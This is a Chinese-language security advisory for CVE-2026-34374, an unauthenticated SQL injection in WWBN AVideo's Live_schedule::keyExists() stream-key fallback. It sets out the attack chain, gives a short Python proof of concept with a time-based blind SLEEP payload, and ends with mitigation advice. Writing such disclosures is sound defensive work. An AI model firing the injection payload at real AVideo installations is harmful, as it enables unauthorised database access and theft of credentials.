IPBUF安全漏洞报告
English
CVE-2026-34374 CVSS 9.1 严重

CVE-2026-34374: AVideo流密钥SQL注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-34374
漏洞类型
SQL注入
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SQL注入WWBN AVideoCVE-2026-34374远程代码执行严重漏洞

漏洞概述

WWBN AVideo <= 26.0 版本存在严重的SQL注入漏洞。该漏洞源于 `Live_schedule::keyExists()` 方法在流密钥验证的回退逻辑中,直接将用户输入拼接到SQL语句,未使用参数化查询。攻击者无需认证即可利用此漏洞,通过构造恶意流密钥在RTMP认证过程中执行任意SQL命令,导致数据库敏感信息泄露及完整性受损,危害极大。

技术细节

该漏洞核心在于WWBN AVideo <= 26.0版本中 `Live_schedule::keyExists()` 方法的编码缺陷。在处理RTMP推流认证请求时,系统首先通过 `LiveTransmition::keyExists()` 使用安全的参数化查询验证流密钥。然而,当主查询无结果时,系统错误地回退至 `Live_schedule::keyExists()`。该方法未能遵循安全编码规范,直接将用户可控的 `stream key` 变量拼接到SQL查询字符串中执行,导致了经典的SQL注入漏洞。尽管主路径使用了预编译语句,但这一不安全的回退机制彻底破坏了防御体系。由于攻击者无需用户交互即可发起请求,他们可以通过构造包含恶意SQL负载的RTMP请求,欺骗数据库执行任意命令。这可能导致敏感数据(如管理员密码、用户信息)泄露,甚至破坏数据完整性,对系统构成严重威胁。

攻击链分析

STEP 1
1. 侦察与发现
攻击者识别出目标使用的是WWBN AVideo平台,且版本低于等于26.0。
STEP 2
2. 发起认证请求
攻击者向目标服务器发起RTMP推流请求,或者调用相关的API接口,尝试进行流密钥验证。
STEP 3
3. 触发回退逻辑
攻击者发送一个不存在的流密钥,迫使系统在 `LiveTransmition::keyExists()` 查找失败后,调用不安全的 `Live_schedule::keyExists()` 回退方法。
STEP 4
4. 注入恶意Payload
攻击者在流密钥字段中构造并注入恶意SQL语句(如UNION SELECT或布尔盲注语句)。由于该方法直接拼接字符串,SQL语句被数据库执行。
STEP 5
5. 数据泄露或篡改
利用SQL注入漏洞,攻击者从数据库中提取敏感信息(如管理员哈希、用户数据),或者在满足条件下修改数据库内容。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-34374 (Conceptual) # The vulnerability lies in the fallback of Live_schedule::keyExists() # when the main LiveTransmition lookup fails. import requests def check_sqli(target_url): # Payload to test time-based blind SQL injection # The stream key is directly interpolated into the SQL query malicious_stream_key = "nonexistent_key' OR SLEEP(5)-- " # Targeting the endpoint that triggers the fallback logic # Note: Actual endpoint path may vary based on AVideo installation payload = { "key": malicious_stream_key, "action": "live_schedule" } try: print(f"[*] Sending payload to {target_url}...") response = requests.post(target_url, data=payload, timeout=10) # If response time is > 5 seconds, the SLEEP(5) executed, indicating SQLi if response.elapsed.total_seconds() > 5: print("[+] Vulnerability Confirmed: SQL Injection detected via time delay.") else: print("[-] Not vulnerable or payload did not trigger fallback.") except requests.exceptions.RequestException as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://localhost/AVideo/objects/Live_schedule.json.php" check_sqli(target)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
由于目前尚无官方补丁,建议用户暂时禁用Live Schedule功能或严格限制RTMP推流的来源IP。同时,应在网络边界部署WAF规则,对流密钥参数进行严格过滤,拦截单引号、双杠、UNION、SELECT等SQL关键字,防止攻击者利用回退逻辑进行注入攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表